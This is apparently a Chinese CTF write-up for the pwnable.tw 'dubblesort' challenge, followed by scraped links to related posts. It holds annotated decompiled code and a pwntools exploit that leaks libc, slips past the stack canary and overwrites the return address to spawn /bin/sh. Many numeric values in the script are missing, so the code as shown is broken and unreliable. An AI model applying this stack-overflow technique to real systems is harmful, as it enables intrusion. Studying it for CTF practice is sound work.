(留坑,远程没打成功)

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. int t_num_count; // eax
  4. int *num_stack; // edi
  5. unsigned int input_count; // esi
  6. unsigned int output_ptr; // esi
  7. int v7; // ST08_4
  8. int result; // eax
  9. unsigned int num_count; // [esp+18h] [ebp-74h]
  10. int v10; // [esp+1Ch] [ebp-70h]
  11. char buf; // [esp+3Ch] [ebp-50h]
  12. unsigned int v12; // [esp+7Ch] [ebp-10h]
  13.  
  14. v12 = __readgsdword(0x14u);
  15. sub_8B5();
  16. __printf_chk(, "What your name :");
  17. read(, &buf, 0x40u);
  18. __printf_chk(, "Hello %s,How many numbers do you what to sort :");// 栈空间未初始化为0,printf时\x00截断,导致栈空间信息泄露
  19. __isoc99_scanf("%u", &num_count);
  20. t_num_count = num_count;
  21. if ( num_count )
  22. {
  23. num_stack = &v10;
  24. input_count = ;
  25. do
  26. {
  27. __printf_chk(, "Enter the %d number : ");
  28. fflush(stdout);
  29. __isoc99_scanf("%u", num_stack);
  30. ++input_count;
  31. t_num_count = num_count;
  32. ++num_stack;
  33. }
  34. while ( num_count > input_count );
  35. } // ebp-0x70读入num_count个数,栈溢出
  36. sub_931((unsigned int *)&v10, t_num_count); // 冒泡,升序
  37. puts("Result :");
  38. if ( num_count )
  39. {
  40. output_ptr = ;
  41. do
  42. {
  43. v7 = *(&v10 + output_ptr);
  44. __printf_chk(, "%u "); // canary最低位为00,这里偏移24覆盖为\x00可以leak canary
  45. ++output_ptr;
  46. }
  47. while ( num_count > output_ptr );
  48. }
  49. result = ;
  50. if ( __readgsdword(0x14u) != v12 )
  51. sub_BA0();
  52. return result;
  53. }
  1. #! /usr/bin/env python
  2. # -*- coding: utf- -*-
  3.  
  4. from pwn import *
  5.  
  6. context.log_level='DEBUG'
  7.  
  8. '''
  9. r=remote('chall.pwnable.tw',)
  10. libc=ELF('./libc_32.so.6')
  11. '''
  12.  
  13. r=process('./dubblesort')
  14. libc=ELF('/lib32/libc-2.27.so')
  15.  
  16. '''
  17. r=process('./dubblesort',env={"LD_PRELOAD":"/root/pwnable.tw/dubblesort/libc_32.so.6"})
  18. libc=ELF('./libc_32.so.6')
  19. '''
  20.  
  21. #leak libc_base
  22. r.recvuntil('What your name :')
  23. r.sendline('a'*)
  24. r.recvuntil('\n')
  25. #libc_base=u32('\x00'+r.recv())-0x1D2CD0
  26. libc_base=u32('\x00'+r.recv())-0x1D5000 #本地(我就TM奇他喵了个咪的怪了,本地能打远程就不行?
  27. success('libc_base:'+hex(libc_base))
  28.  
  29. sys_addr=libc_base+libc.sym['system']
  30. binsh_addr=libc_base+libc.search('/bin/sh').next()
  31. #binsh_addr=libc_base+0x168e8b
  32. success('sys_addr:'+hex(sys_addr))
  33. success('binsh_addr:'+hex(binsh_addr))
  34.  
  35. '''
  36. 0x5f066 execl("/bin/sh", [esp])
  37. constraints:
  38. esi is the GOT address of libc
  39. [esp] == NULL
  40.  
  41. one_gadget=libc_base+0x5f066
  42. success('one_gadget addr:'+hex(one_gadget))
  43. '''
  44.  
  45. #gdb.attach(r)
  46.  
  47. #r.recvuntil('How many numbers do you what to sort :')
  48. r.sendline('')
  49.  
  50. for i in range(,):
  51. r.recvuntil(':')
  52. r.sendline(str(i))
  53.  
  54. #bypass canary
  55. r.recvuntil(':')
  56. r.sendline('+') #,canary
  57.  
  58. for i in range(,):
  59. r.recvuntil(':')
  60. r.sendline(str(sys_addr))
  61.  
  62. for i in range(,):
  63. r.recvuntil(':')
  64. r.sendline(str(binsh_addr))
  65.  
  66. r.interactive()

本地能打成功,远程可能是给的libc没有找到'/bin/sh'(?直接在libc里找libc.search('/bin/sh').next()是可以找到的,但是在IDA同样的位置找到的并不是db类型的字符串常量'/bin/sh',此处留坑),one_gadget试了下也没成功

pwnable.tw dubblesort的更多相关文章

  1. pwnable.tw dubblesort 分析

    本系列为用于记录那些比较有意思的题目. 题目为一个排序算法,就如题目名称那样,dubblesort,32位程序. 利用思路为栈溢出,先是栈溢出泄露出栈上libc的相关数据从而获取libc地址,再是栈溢 ...

  2. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  3. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  4. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  5. pwnable.tw calc

    题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...

  6. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  7. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  8. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  9. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

随机推荐

  1. Java 关于cannot resolve symbol 'log'报错问题

    我用的是IDEA,报错的内容是:cannot resolve symbol 'log' 如图所示: 解决方法: 1.安装插件:Settings→Plugins,输入lom回车: 2.然后选择Insta ...

  2. servlet(5) HttpSession

    Servlet 提供的 HttpSession 接口,提供了一种跨多个页面请求或访问网站时识别用户以及存储有关用户信息的方式. Servlet 容器使用这个接口来创建一个 HTTP 客户端和 HTTP ...

  3. Async/Await 学习与示例

    参考:Async/await学习 es 7 提供了对 promise 对象的更好的操作,省去了很多丧心病狂的链式异步请求,promise 是回调地狱的福音,而 Async/Await 则是 promi ...

  4. PLC 数据类型

    类型 长度(位) 取值范围 描述 BOOL 1 0/1 布尔型 BYTE 8 0x00~0xFF 十六进制数 WORD 16 0~65535 无符号整数 DWORD 32 0~4294967295 无 ...

  5. Ffmpeg使用

    ffmpeg官网 刚开始安装的推荐博客|--利用FFmpeg 开发音视频流:一.二.三 1.分辨率码率 主要视频格式与码率: 分辨率 200p——对应的码率是256kpbs,也就是说,一分钟需要流量1 ...

  6. 【LOJ#3097】[SNOI2019]通信(费用流)

    [LOJ#3097][SNOI2019]通信(费用流) 题面 LOJ 题解 暴力就直接连\(O(n^2)\)条边. 然后分治/主席树优化连边就行了. 抄zsy代码,zsy代码是真的短 #include ...

  7. 20165223 《信息安全系统设计基础》 改进ls的实现

    课下作业:改进ls的实现 一.作业要求 参见附图,改进你的ls的实现.提交代码运行截图和码云链接.

  8. Git如何合并一个已经在GitHub上提交但没有合并的Pull Request请求

    步骤 进入Git仓库,执行curl -L https://github.com/<USER>/<REPO>/pull/<NO>.patch | git am

  9. Ubuntu18安装Pycharm时遇到的几个问题

    今天给电脑安装了Ubuntu18.04,安装了一些基础软件. 这里是Ubuntu安装Pycharm的一些问题: 1.安装Pycharm. 首先需要到Pycharm官网进行下载安装包,由于我的是Ubun ...

  10. java频繁new对象的优化方案

    在实际开发中,某些情况下,我们可能需要频繁去创建一些对象(new),下面介绍一种,我从书上看到的,可以提高效率的方法. 首先,对于将会频繁创建的对象,我们要让这个类实现Cloneable接口,因为这个 ...